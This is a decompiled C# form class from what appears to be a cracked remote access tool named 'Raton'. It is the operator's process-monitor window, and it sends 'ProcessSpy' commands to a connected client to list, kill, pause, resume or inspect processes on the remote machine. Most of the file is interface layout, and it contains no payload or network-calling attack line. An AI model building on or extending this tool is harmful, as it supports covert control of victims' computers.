284 lines
12 KiB
C#
284 lines
12 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: Raton.Forms.ClientForms.Monitor.ratonProcess
|
|
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
|
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
|
|
|
using Raton.Classes;
|
|
using Raton.Properties;
|
|
using RatonAccessTool.Controls;
|
|
using Server.Connection;
|
|
using Stuff;
|
|
using System;
|
|
using System.ComponentModel;
|
|
using System.Drawing;
|
|
using System.Windows.Forms;
|
|
|
|
#nullable disable
|
|
namespace Raton.Forms.ClientForms.Monitor;
|
|
|
|
public class ratonProcess : Form
|
|
{
|
|
private IContainer components;
|
|
private ColumnHeader columnHeader1;
|
|
private ColumnHeader columnHeader2;
|
|
private ColumnHeader columnHeader3;
|
|
private ColumnHeader columnHeader4;
|
|
private Timer timer2;
|
|
public Label label1;
|
|
private ContextMenuStrip contextMenuStrip1;
|
|
private ToolStripMenuItem killProcessToolStripMenuItem;
|
|
private ToolStripMenuItem pauseProcessToolStripMenuItem;
|
|
private ToolStripMenuItem resumeProcessToolStripMenuItem;
|
|
private ToolStripMenuItem refreshProcessToolStripMenuItem;
|
|
private ToolStripSeparator toolStripSeparator1;
|
|
private ToolStripMenuItem processInformationToolStripMenuItem;
|
|
public Timer timer1;
|
|
public ImageList imageList1;
|
|
private ColumnHeader columnHeader5;
|
|
private ColumnHeader columnHeader6;
|
|
private ColumnHeader columnHeader7;
|
|
private ColumnHeader columnHeader8;
|
|
public AeroListView aeroListView2;
|
|
|
|
public SillyClient SillyClient { get; set; }
|
|
|
|
public ratonProcess()
|
|
{
|
|
this.InitializeComponent();
|
|
DarkMode.Start((Form) this);
|
|
}
|
|
|
|
private void timer1_Tick(object sender, EventArgs e)
|
|
{
|
|
if (this.SillyClient != null && this.SillyClient.isConnected())
|
|
return;
|
|
this.Close();
|
|
}
|
|
|
|
private void timer2_Tick(object sender, EventArgs e)
|
|
{
|
|
this.label1.Text = "This is taking too long, maybe bad connection?";
|
|
}
|
|
|
|
private void Command(string command)
|
|
{
|
|
foreach (ListViewItem selectedItem in this.aeroListView2.SelectedItems)
|
|
{
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "ProcessSpy");
|
|
pack.SetString(nameof (Command), command);
|
|
pack.SetInt("ProcessId", Convert.ToInt32(selectedItem.Tag));
|
|
this.SillyClient.Send(pack.Pacc());
|
|
}
|
|
}
|
|
|
|
private void ratonProcess_Load(object sender, EventArgs e)
|
|
{
|
|
this.timer1.Start();
|
|
this.timer2.Start();
|
|
}
|
|
|
|
private void killProcessToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
this.Command("Kill");
|
|
this.aeroListView2.Visible = false;
|
|
this.label1.Visible = true;
|
|
this.label1.Text = "Please wait...";
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "ProcessSpy");
|
|
pack.SetString("Command", "List");
|
|
this.SillyClient.Send(pack.Pacc());
|
|
}
|
|
|
|
private void pauseProcessToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
this.Command("Pause");
|
|
}
|
|
|
|
private void resumeProcessToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
this.Command("Resume");
|
|
}
|
|
|
|
private void refreshProcessToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
this.aeroListView2.Visible = false;
|
|
this.label1.Visible = true;
|
|
this.label1.Text = "Please wait...";
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "ProcessSpy");
|
|
pack.SetString("Command", "List");
|
|
this.SillyClient.Send(pack.Pacc());
|
|
}
|
|
|
|
public void changeColor(string name)
|
|
{
|
|
foreach (ListViewItem listViewItem in this.aeroListView2.Items)
|
|
{
|
|
if (string.Equals(listViewItem.Text.Trim(), name, StringComparison.OrdinalIgnoreCase))
|
|
listViewItem.ForeColor = Color.LightCoral;
|
|
}
|
|
}
|
|
|
|
private void processInformationToolStripMenuItem_Click(object sender, EventArgs e)
|
|
{
|
|
foreach (ListViewItem selectedItem in this.aeroListView2.SelectedItems)
|
|
{
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "ProcessSpy");
|
|
pack.SetString("Command", "Info");
|
|
pack.SetInt("ProcessId", Convert.ToInt32(selectedItem.Tag));
|
|
this.SillyClient.Send(pack.Pacc());
|
|
}
|
|
}
|
|
|
|
protected override void Dispose(bool disposing)
|
|
{
|
|
if (disposing && this.components != null)
|
|
this.components.Dispose();
|
|
base.Dispose(disposing);
|
|
}
|
|
|
|
private void InitializeComponent()
|
|
{
|
|
this.components = (IContainer) new System.ComponentModel.Container();
|
|
AeroListView.ListViewColumnSorter viewColumnSorter = new AeroListView.ListViewColumnSorter();
|
|
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonProcess));
|
|
this.columnHeader1 = new ColumnHeader();
|
|
this.columnHeader2 = new ColumnHeader();
|
|
this.columnHeader3 = new ColumnHeader();
|
|
this.columnHeader4 = new ColumnHeader();
|
|
this.contextMenuStrip1 = new ContextMenuStrip(this.components);
|
|
this.killProcessToolStripMenuItem = new ToolStripMenuItem();
|
|
this.pauseProcessToolStripMenuItem = new ToolStripMenuItem();
|
|
this.resumeProcessToolStripMenuItem = new ToolStripMenuItem();
|
|
this.toolStripSeparator1 = new ToolStripSeparator();
|
|
this.refreshProcessToolStripMenuItem = new ToolStripMenuItem();
|
|
this.processInformationToolStripMenuItem = new ToolStripMenuItem();
|
|
this.imageList1 = new ImageList(this.components);
|
|
this.timer1 = new Timer(this.components);
|
|
this.timer2 = new Timer(this.components);
|
|
this.label1 = new Label();
|
|
this.aeroListView2 = new AeroListView();
|
|
this.columnHeader5 = new ColumnHeader();
|
|
this.columnHeader6 = new ColumnHeader();
|
|
this.columnHeader7 = new ColumnHeader();
|
|
this.columnHeader8 = new ColumnHeader();
|
|
this.contextMenuStrip1.SuspendLayout();
|
|
this.SuspendLayout();
|
|
this.columnHeader1.Text = "Name";
|
|
this.columnHeader1.Width = 177;
|
|
this.columnHeader2.Text = "PID";
|
|
this.columnHeader2.TextAlign = HorizontalAlignment.Center;
|
|
this.columnHeader2.Width = 81;
|
|
this.columnHeader3.Text = "Status";
|
|
this.columnHeader3.TextAlign = HorizontalAlignment.Center;
|
|
this.columnHeader3.Width = 119;
|
|
this.columnHeader4.Text = "Process is";
|
|
this.columnHeader4.TextAlign = HorizontalAlignment.Center;
|
|
this.columnHeader4.Width = 214;
|
|
this.contextMenuStrip1.Items.AddRange(new ToolStripItem[6]
|
|
{
|
|
(ToolStripItem) this.killProcessToolStripMenuItem,
|
|
(ToolStripItem) this.pauseProcessToolStripMenuItem,
|
|
(ToolStripItem) this.resumeProcessToolStripMenuItem,
|
|
(ToolStripItem) this.toolStripSeparator1,
|
|
(ToolStripItem) this.refreshProcessToolStripMenuItem,
|
|
(ToolStripItem) this.processInformationToolStripMenuItem
|
|
});
|
|
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
|
this.contextMenuStrip1.Size = new Size(181, 120);
|
|
this.killProcessToolStripMenuItem.Image = (Image) Resources.Copy_16x;
|
|
this.killProcessToolStripMenuItem.Name = "killProcessToolStripMenuItem";
|
|
this.killProcessToolStripMenuItem.Size = new Size(180, 22);
|
|
this.killProcessToolStripMenuItem.Text = "Kill process";
|
|
this.killProcessToolStripMenuItem.Click += new EventHandler(this.killProcessToolStripMenuItem_Click);
|
|
this.pauseProcessToolStripMenuItem.Image = (Image) Resources.Pause_grey_16x;
|
|
this.pauseProcessToolStripMenuItem.Name = "pauseProcessToolStripMenuItem";
|
|
this.pauseProcessToolStripMenuItem.Size = new Size(180, 22);
|
|
this.pauseProcessToolStripMenuItem.Text = "Pause process";
|
|
this.pauseProcessToolStripMenuItem.Click += new EventHandler(this.pauseProcessToolStripMenuItem_Click);
|
|
this.resumeProcessToolStripMenuItem.Image = (Image) Resources.ResumePhone_16x;
|
|
this.resumeProcessToolStripMenuItem.Name = "resumeProcessToolStripMenuItem";
|
|
this.resumeProcessToolStripMenuItem.Size = new Size(180, 22);
|
|
this.resumeProcessToolStripMenuItem.Text = "Resume process";
|
|
this.resumeProcessToolStripMenuItem.Click += new EventHandler(this.resumeProcessToolStripMenuItem_Click);
|
|
this.toolStripSeparator1.Name = "toolStripSeparator1";
|
|
this.toolStripSeparator1.Size = new Size(177, 6);
|
|
this.refreshProcessToolStripMenuItem.Image = (Image) Resources.Refresh_greyThin_16x;
|
|
this.refreshProcessToolStripMenuItem.Name = "refreshProcessToolStripMenuItem";
|
|
this.refreshProcessToolStripMenuItem.Size = new Size(180, 22);
|
|
this.refreshProcessToolStripMenuItem.Text = "Refresh list";
|
|
this.refreshProcessToolStripMenuItem.Click += new EventHandler(this.refreshProcessToolStripMenuItem_Click);
|
|
this.processInformationToolStripMenuItem.Image = (Image) Resources.InformationSymbol_16x1;
|
|
this.processInformationToolStripMenuItem.Name = "processInformationToolStripMenuItem";
|
|
this.processInformationToolStripMenuItem.Size = new Size(180, 22);
|
|
this.processInformationToolStripMenuItem.Text = "Process information";
|
|
this.processInformationToolStripMenuItem.Click += new EventHandler(this.processInformationToolStripMenuItem_Click);
|
|
this.imageList1.ColorDepth = ColorDepth.Depth32Bit;
|
|
this.imageList1.ImageSize = new Size(20, 20);
|
|
this.imageList1.TransparentColor = Color.Transparent;
|
|
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
|
this.timer2.Interval = 10000;
|
|
this.timer2.Tick += new EventHandler(this.timer2_Tick);
|
|
this.label1.BackColor = Color.Transparent;
|
|
this.label1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
|
this.label1.Location = new Point(-3, 225);
|
|
this.label1.Name = "label1";
|
|
this.label1.Size = new Size(538, 125);
|
|
this.label1.TabIndex = 2;
|
|
this.label1.Text = "Please wait...";
|
|
this.label1.TextAlign = ContentAlignment.MiddleCenter;
|
|
this.aeroListView2.BorderStyle = BorderStyle.FixedSingle;
|
|
this.aeroListView2.Columns.AddRange(new ColumnHeader[4]
|
|
{
|
|
this.columnHeader5,
|
|
this.columnHeader6,
|
|
this.columnHeader7,
|
|
this.columnHeader8
|
|
});
|
|
this.aeroListView2.ContextMenuStrip = this.contextMenuStrip1;
|
|
this.aeroListView2.Dock = DockStyle.Fill;
|
|
this.aeroListView2.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
|
this.aeroListView2.FullRowSelect = true;
|
|
this.aeroListView2.HideSelection = false;
|
|
this.aeroListView2.Location = new Point(0, 0);
|
|
viewColumnSorter.Order = SortOrder.None;
|
|
viewColumnSorter.SortColumn = 0;
|
|
this.aeroListView2.LvwColumnSorter = viewColumnSorter;
|
|
this.aeroListView2.Name = "aeroListView2";
|
|
this.aeroListView2.Size = new Size(535, 591);
|
|
this.aeroListView2.SmallImageList = this.imageList1;
|
|
this.aeroListView2.TabIndex = 3;
|
|
this.aeroListView2.UseCompatibleStateImageBehavior = false;
|
|
this.aeroListView2.View = View.Details;
|
|
this.aeroListView2.Visible = false;
|
|
this.columnHeader5.Text = "Name";
|
|
this.columnHeader5.Width = 209;
|
|
this.columnHeader6.Text = "PID";
|
|
this.columnHeader6.TextAlign = HorizontalAlignment.Center;
|
|
this.columnHeader6.Width = 72;
|
|
this.columnHeader7.Text = "State";
|
|
this.columnHeader7.TextAlign = HorizontalAlignment.Center;
|
|
this.columnHeader7.Width = 118;
|
|
this.columnHeader8.Text = "Process is";
|
|
this.columnHeader8.TextAlign = HorizontalAlignment.Center;
|
|
this.columnHeader8.Width = 134;
|
|
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
|
this.AutoScaleMode = AutoScaleMode.Font;
|
|
this.ClientSize = new Size(535, 591);
|
|
this.Controls.Add((Control) this.label1);
|
|
this.Controls.Add((Control) this.aeroListView2);
|
|
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
|
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
|
this.MaximizeBox = false;
|
|
this.Name = nameof (ratonProcess);
|
|
this.StartPosition = FormStartPosition.CenterScreen;
|
|
this.Text = nameof (ratonProcess);
|
|
this.Load += new EventHandler(this.ratonProcess_Load);
|
|
this.contextMenuStrip1.ResumeLayout(false);
|
|
this.ResumeLayout(false);
|
|
}
|
|
}
|